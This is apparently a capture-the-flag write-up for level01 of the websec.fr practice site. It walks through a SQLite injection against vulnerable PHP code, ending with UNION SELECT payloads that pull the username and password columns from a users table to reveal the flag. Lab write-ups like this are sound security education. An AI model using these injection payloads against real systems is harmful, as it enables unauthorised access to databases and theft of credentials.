



Question: <https://websec.fr/#>.

level01 - 1 point- 691 solves

Nothing fancy

 url



validate

Flag URL: <https://websec.fr/level01/index.php>

Php code: <https://websec.fr/level01/source.php>

First of all, we test ' as the input.

Enter the user ID:

提交

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: " LIMIT 1" in **/index.php** on line 16

Fatal error: Call to a member function fetchArray() on boolean in **/index.php** on line 17

This is a good signal. Administer did not filter our input.

Then, See the php code.

```
$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);

$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
```

We found the list is based on SQL_lite3

And the input code is `$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';` It means we do not need to add ' inside the blank and the limit is 1. Limit means it only should one column once.

Enter the user ID:

提交

Then we test

Username for given ID: levelone

Other User Details:
id -> 1
username -> levelone

Reply looks like one row of the list. And it shows the column should be id and username.

Then i guess the name of table is users, x union select * from users . But return

Warning: SQLite3::query(): Unable to prepare statement: 1, no such column: x in **/index.php** on line **16**

So we should only select two columns. And the table name is really users.

Id and username are not flag. I guess we should have password here.

So, 1 union select username,password from users limit 0,1;--

Return is not the flag, but that's fine. It means the first line is not.

After several trying.

We get it. It is the fourth row.

1 union select username,password from users limit 3,1;--

Username for given ID: WEBSEC{Simple_SQLite_Injection}

Other User Details:

id -> levelone

username -> WEBSEC{Simple_SQLite_Injection}

Good flag for level01!

Got it!~